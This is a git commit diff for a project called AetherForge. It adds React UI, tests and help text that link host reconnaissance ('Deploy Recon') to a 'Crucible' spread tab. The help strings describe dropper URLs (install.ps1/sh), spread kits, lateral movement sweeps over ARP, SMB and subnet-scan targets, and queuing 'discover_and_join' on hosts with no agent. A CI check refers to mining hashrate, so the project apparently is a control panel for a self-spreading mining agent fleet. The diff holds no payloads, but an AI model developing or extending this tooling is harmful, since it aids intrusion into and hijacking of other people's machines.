Polish Deploy Recon page scan UX and Crucible cross-links.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 11:24:32 -07:00
parent f3e5a9a07d
commit 1560ca9489
14 changed files with 156 additions and 19 deletions

View File

@@ -38,7 +38,7 @@ test.describe('Deploy Recon smoke', () => {
await expect(page.getByTestId('dr-results')).toBeVisible({ timeout: 10_000 }); await expect(page.getByTestId('dr-results')).toBeVisible({ timeout: 10_000 });
await expect(page.getByTestId('dr-port-matrix')).toBeVisible(); await expect(page.getByTestId('dr-port-matrix')).toBeVisible();
await expect(page.getByTestId('dr-finding-ssrf')).toBeVisible(); await expect(page.getByTestId('dr-finding-ssrf')).toBeVisible();
await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i })).toBeVisible(); await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i }).first()).toBeVisible();
}); });
test('/browser-spread alias redirects to deploy recon', async ({ page }) => { test('/browser-spread alias redirects to deploy recon', async ({ page }) => {

View File

@@ -22,6 +22,8 @@ export const PAGE_AMBIENT_INTENSITY: Record<string, number> = {
'/dashboard': 0.65, '/dashboard': 0.65,
'/builds': 0.55, '/builds': 0.55,
'/pathtracer': 0.4, '/pathtracer': 0.4,
'/deploy-recon': 0.75,
'/browser-spread': 0.75,
'/settings': 0.25, '/settings': 0.25,
}; };

View File

@@ -1,6 +1,8 @@
/** @vitest-environment happy-dom */ /** @vitest-environment happy-dom */
import { describe, expect, it, vi } from 'vitest'; import { afterEach, describe, expect, it, vi } from 'vitest';
import { render, screen } from '@testing-library/react'; import { cleanup, render, screen } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import CloudSpreadPanel from './CloudSpreadPanel'; import CloudSpreadPanel from './CloudSpreadPanel';
vi.mock('../../api/client', () => ({ vi.mock('../../api/client', () => ({
@@ -11,11 +13,28 @@ vi.mock('../../api/client', () => ({
})); }));
describe('CloudSpreadPanel', () => { describe('CloudSpreadPanel', () => {
afterEach(() => cleanup());
it('renders cloud ecosystem hub', () => { it('renders cloud ecosystem hub', () => {
render(<CloudSpreadPanel serverUrl="https://deck.example" />); render(
<MemoryRouter>
<CloudSpreadPanel serverUrl="https://deck.example" />
</MemoryRouter>,
);
expect(screen.getByTestId('cloud-spread-panel')).toBeInTheDocument(); expect(screen.getByTestId('cloud-spread-panel')).toBeInTheDocument();
expect(screen.getByTestId('cloud-method-s3-cloudfront')).toBeInTheDocument(); expect(screen.getByTestId('cloud-method-s3-cloudfront')).toBeInTheDocument();
expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument(); expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument();
}); });
it('shows Crucible cross-link when recon host is entered', async () => {
const user = userEvent.setup();
render(
<MemoryRouter>
<CloudSpreadPanel serverUrl="https://deck.example" />
</MemoryRouter>,
);
await user.type(screen.getAllByTestId('cloud-recon-host')[0], '10.1.2.50');
const link = screen.getByRole('link', { name: /Open Crucible spread tab/i });
expect(link).toHaveAttribute('href', '/crucible?reconHost=10.1.2.50&tab=spread&finding=ssm_document');
});
}); });

View File

@@ -1,5 +1,7 @@
import { memo, useMemo, useState } from 'react'; import { memo, useMemo, useState } from 'react';
import { Link } from 'react-router-dom';
import { HelpTip } from '../HelpTip'; import { HelpTip } from '../HelpTip';
import { crucibleSpreadLink } from '../../help/deployRecon';
import { cloudMethodsByGroup, RELATED_SPREAD_TEMPLATE_LINKS } from '../../help/cloudSpreadMethods'; import { cloudMethodsByGroup, RELATED_SPREAD_TEMPLATE_LINKS } from '../../help/cloudSpreadMethods';
import CloudMethodPanel, { type CloudMethodConfig } from './CloudMethodPanel'; import CloudMethodPanel, { type CloudMethodConfig } from './CloudMethodPanel';
import './CloudSpreadPanel.css'; import './CloudSpreadPanel.css';
@@ -11,6 +13,7 @@ export interface CloudSpreadPanelProps {
} }
function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: CloudSpreadPanelProps) { function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: CloudSpreadPanelProps) {
const [reconHost, setReconHost] = useState('');
const [bucket, setBucket] = useState('aetherforge-shards'); const [bucket, setBucket] = useState('aetherforge-shards');
const [cloudfrontDomain, setCloudfrontDomain] = useState(''); const [cloudfrontDomain, setCloudfrontDomain] = useState('');
const [minioEndpoint, setMinioEndpoint] = useState('https://minio.example:9000'); const [minioEndpoint, setMinioEndpoint] = useState('https://minio.example:9000');
@@ -64,6 +67,28 @@ function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: Cloud
{cloudMethodsByGroup('generic').map((m) => ( {cloudMethodsByGroup('generic').map((m) => (
<CloudMethodPanel key={m.id} method={m} config={config} /> <CloudMethodPanel key={m.id} method={m} config={config} />
))} ))}
<div className="cloud-spread-crucible-link">
<label className="cloud-spread-field">
<span className="label">
Recon host (no agent) <HelpTip field="ew_crucible_recon_link" />
</span>
<input
className="input mono"
placeholder="10.1.2.50 or ec2 internal IP"
value={reconHost}
onChange={(e) => setReconHost(e.target.value)}
data-testid="cloud-recon-host"
/>
</label>
{reconHost.trim() ? (
<p className="form-hint">
<Link to={crucibleSpreadLink(reconHost.trim(), 'ssm_document')}>Open Crucible spread tab</Link>
{' '} pre-fills deploy kit and spread-to-host for this target.
</p>
) : (
<p className="form-hint">Paste a recon IP from service graph or vuln findings to continue in Crucible.</p>
)}
</div>
<details className="cloud-spread-related"> <details className="cloud-spread-related">
<summary className="font-tech">Related lateral templates</summary> <summary className="font-tech">Related lateral templates</summary>
<ul> <ul>

View File

@@ -9,6 +9,16 @@ import {
} from './deployRecon'; } from './deployRecon';
import type { ReconScanReport } from '../types/recon'; import type { ReconScanReport } from '../types/recon';
describe('crucibleSpreadLink', () => {
it('builds reconHost spread tab URL', () => {
expect(crucibleSpreadLink('10.1.2.50')).toBe('/crucible?reconHost=10.1.2.50&tab=spread');
});
it('includes finding when provided', () => {
expect(crucibleSpreadLink('10.1.2.50', 'winrm')).toContain('finding=winrm');
});
});
describe('deployRecon helpers', () => { describe('deployRecon helpers', () => {
it('maps scan form to API body', () => { it('maps scan form to API body', () => {
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({ expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
@@ -55,8 +65,4 @@ describe('deployRecon helpers', () => {
expect(cards.some((c) => c.kind === 'cms')).toBe(true); expect(cards.some((c) => c.kind === 'cms')).toBe(true);
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart'); expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
}); });
it('crucible spread link encodes host and tab', () => {
expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5');
});
}); });

View File

@@ -140,6 +140,10 @@ export const DOC_ANCHORS: Record<string, string> = {
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room', dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
crucible_node_roster: '/docs/#dashboard', crucible_node_roster: '/docs/#dashboard',
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan', crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
crucible_recon_host: '/docs/SPREAD_TECHNIQUES.html#lan',
recon_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
fleet_spread_to_host: '/docs/SPREAD_TECHNIQUES.html#lan',
ew_crucible_recon_link: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser', dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan', dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser', dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',

View File

@@ -205,6 +205,30 @@ export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
gridDrift: 90, gridDrift: 90,
palette: 'dim', palette: 'dim',
}, },
'/deploy-recon': {
vibe: 'emberwake-pulse',
intensity: 0.7,
speed: 0.48,
pulse: 1.1,
density: 0.82,
linkStrength: 0.65,
layerOpacity: 0.52,
orbDrift: 11,
gridDrift: 42,
palette: 'campaign',
},
'/browser-spread': {
vibe: 'emberwake-pulse',
intensity: 0.7,
speed: 0.48,
pulse: 1.1,
density: 0.82,
linkStrength: 0.65,
layerOpacity: 0.52,
orbDrift: 11,
gridDrift: 42,
palette: 'campaign',
},
}; };
export function resolvePageWeather(pathname: string): PageWeatherConfig { export function resolvePageWeather(pathname: string): PageWeatherConfig {

View File

@@ -148,6 +148,8 @@ describe('FIELD_HELP', () => {
'forge_operation_mode', 'forge_operation_mode',
'forge_path_forge', 'forge_path_forge',
'aws_erasure_swarm', 'aws_erasure_swarm',
'recon_deploy_kit',
'fleet_spread_to_host',
] as const; ] as const;
it('defines help text for every documented field key', () => { it('defines help text for every documented field key', () => {

View File

@@ -200,4 +200,8 @@ export const FIELD_HELP: Record<string, string> = {
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.', 'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
aws_erasure_swarm: aws_erasure_swarm:
'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.', 'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
recon_deploy_kit:
'GET /api/v1/recon/deploy-kit returns a lane-specific kit for a recon host: dropper URLs (/get, install.ps1/sh), spread-kit ZIP export path, signed deploy-plan template, and SSM bundle when the finding maps to ssm_document. Used by Crucible recon spread and Emberwake cloud cross-links.',
fleet_spread_to_host:
'POST /api/v1/fleet/spread-to-host queues discover_and_join from the best online seed on the target /24 when no agent_id exists for the IP. Response includes recommended_command and operator_note when dispatch is deferred.',
}; };

View File

@@ -98,6 +98,8 @@ describe('UI_HELP', () => {
'ew_war_room_leak', 'ew_war_room_leak',
'ew_cloud_aws', 'ew_cloud_aws',
'ew_cloud_generic', 'ew_cloud_generic',
'ew_crucible_recon_link',
'crucible_recon_host',
'crucible_btn_spread_now', 'crucible_btn_spread_now',
'crucible_btn_subnet_scan', 'crucible_btn_subnet_scan',
'crucible_btn_hole_punch', 'crucible_btn_hole_punch',

View File

@@ -200,6 +200,11 @@ export const UI_HELP: Record<string, string> = {
'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.', 'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.',
ew_cloud_generic: ew_cloud_generic:
'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.', 'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.',
ew_crucible_recon_link:
'Cross-link to Crucible with ?reconHost= — opens the spread tab, loads GET /api/v1/recon/deploy-kit, and shows spread-to-unreachable-host when no fleet agent matches the IP.',
crucible_recon_host:
'Query param ?reconHost= pre-filters the roster to matching IP/hostname and opens Spread ops. When the host has no online agent, use manual IP target + Spread to host (POST /api/v1/fleet/spread-to-host).',
crucible_btn_spread_now: crucible_btn_spread_now:
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.', 'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',

View File

@@ -36,6 +36,19 @@ vi.mock('../hooks/useFleetGroups', () => ({
vi.mock('../api/client', () => ({ vi.mock('../api/client', () => ({
api: { api: {
sendAgentCommand: vi.fn().mockResolvedValue({ success: true }), sendAgentCommand: vi.fn().mockResolvedValue({ success: true }),
getReconDeployKit: vi.fn().mockResolvedValue({
ok: true,
host: '10.1.2.99',
join_lane: 'winrm',
dropper_urls: { install_sh: 'https://deck/install.sh' },
}),
postFleetSpreadToHost: vi.fn().mockResolvedValue({
ok: true,
host: '10.1.2.99',
recommended_command: 'discover_and_join',
operator_note: 'seed from lan-1',
seed_agent_id: 'seed-1',
}),
}, },
})); }));
@@ -75,6 +88,10 @@ vi.mock('../components/Fleet/FullSysCheckPanel', () => ({
default: () => null, default: () => null,
})); }));
vi.mock('../components/Fleet/AccessDepthPanel', () => ({
default: () => null,
}));
vi.mock('../components/HelpTip', () => ({ vi.mock('../components/HelpTip', () => ({
HelpTip: () => null, HelpTip: () => null,
})); }));
@@ -304,6 +321,25 @@ describe('CruciblePage terminal — command_result processing', () => {
}); });
}); });
describe('CruciblePage reconHost query', () => {
beforeEach(() => vi.clearAllMocks());
afterEach(() => cleanup());
it('shows unreachable host spread panel when reconHost has no online agent', async () => {
const offline = mockAgent({ id: 'off-1', name: 'ghost', ip: '10.1.2.99', status: 'offline' });
useWebSocketMock.mockReturnValue(makeWsValue({ agents: [offline] }) as ReturnType<typeof useWebSocket>);
render(
<MemoryRouter initialEntries={['/crucible?reconHost=10.1.2.99&tab=spread']}>
<CruciblePage />
</MemoryRouter>,
);
await waitFor(() => {
expect(screen.getByText(/Spread to unreachable host/i)).toBeInTheDocument();
});
expect(screen.getByDisplayValue('10.1.2.99')).toBeInTheDocument();
});
});
// ── Helper function tests ───────────────────────────────────────────────── // ── Helper function tests ─────────────────────────────────────────────────
describe('CruciblePage helpers', () => { describe('CruciblePage helpers', () => {

View File

@@ -93,23 +93,24 @@ describe('DeployReconPage', () => {
await waitFor(() => expect(api.reconScan).toHaveBeenCalled()); await waitFor(() => expect(api.reconScan).toHaveBeenCalled());
expect(screen.getByTestId('dr-port-matrix')).toBeInTheDocument(); expect(screen.getByTestId('dr-port-matrix')).toBeInTheDocument();
expect(screen.getByTestId('dr-finding-ssrf')).toBeInTheDocument(); expect(screen.getByTestId('dr-finding-ssrf')).toBeInTheDocument();
expect(screen.getByRole('link', { name: /Fleet spread to scan\.lab/i })).toHaveAttribute( const spreadLinks = screen.getAllByRole('link', { name: /Fleet spread to scan\.lab/i });
'href', expect(spreadLinks[0]).toHaveAttribute('href', '/crucible?reconHost=scan.lab&tab=spread');
'/crucible?tab=spread&spread_host=scan.lab',
);
}); });
it('shows skeleton while scanning', async () => { it('shows skeleton while scanning', async () => {
let resolveScan!: (v: ReconScanReport) => void; vi.useFakeTimers({ shouldAdvanceTime: true });
let resolveScan: ((v: ReconScanReport) => void) | undefined;
vi.spyOn(api, 'reconScan').mockImplementation( vi.spyOn(api, 'reconScan').mockImplementation(
() => new Promise((res) => { resolveScan = res; }), () => new Promise((res) => { resolveScan = res; }),
); );
const user = userEvent.setup(); const user = userEvent.setup({ advanceTimers: vi.advanceTimersByTime });
renderPage(); renderPage();
await user.type(screen.getByTestId('dr-host-input'), 'slow.lab'); await user.type(screen.getByTestId('dr-host-input'), 'slow.lab');
await user.click(screen.getByTestId('dr-scan-btn')); await user.click(screen.getByTestId('dr-scan-btn'));
expect(screen.getByTestId('dr-scan-skeleton')).toBeInTheDocument(); expect(screen.getByTestId('dr-scan-skeleton')).toBeInTheDocument();
resolveScan(sampleReport); await vi.advanceTimersByTimeAsync(400);
resolveScan?.(sampleReport);
expect(await screen.findByTestId('dr-results')).toBeInTheDocument(); expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
vi.useRealTimers();
}); });
}); });

View File

@@ -218,15 +218,13 @@ export default function DeployReconPage() {
const runScan = useCallback(async () => { const runScan = useCallback(async () => {
const trimmed = host.trim(); const trimmed = host.trim();
if (!trimmed) { if (!trimmed) {
setScanning(false);
setError('Host or IP required'); setError('Host or IP required');
return; return;
} }
abortRef.current?.abort(); abortRef.current?.abort();
const controller = new AbortController(); const controller = new AbortController();
abortRef.current = controller; abortRef.current = controller;
setScanning(true);
setError('');
setReport(null);
const portNum = parseInt(port, 10) || 80; const portNum = parseInt(port, 10) || 80;
try { try {
const body = reconScanBody(trimmed, portNum, https, pathPrefix); const body = reconScanBody(trimmed, portNum, https, pathPrefix);
@@ -241,11 +239,20 @@ export default function DeployReconPage() {
}, [host, port, https, pathPrefix]); }, [host, port, https, pathPrefix]);
const scheduleScan = useCallback(() => { const scheduleScan = useCallback(() => {
const trimmed = host.trim();
if (!trimmed) {
setError('Host or IP required');
return;
}
abortRef.current?.abort();
setScanning(true);
setError('');
setReport(null);
if (debounceRef.current) clearTimeout(debounceRef.current); if (debounceRef.current) clearTimeout(debounceRef.current);
debounceRef.current = setTimeout(() => { debounceRef.current = setTimeout(() => {
void runScan(); void runScan();
}, SCAN_DEBOUNCE_MS); }, SCAN_DEBOUNCE_MS);
}, [runScan]); }, [host, runScan]);
useEffect(() => () => { useEffect(() => () => {
abortRef.current?.abort(); abortRef.current?.abort();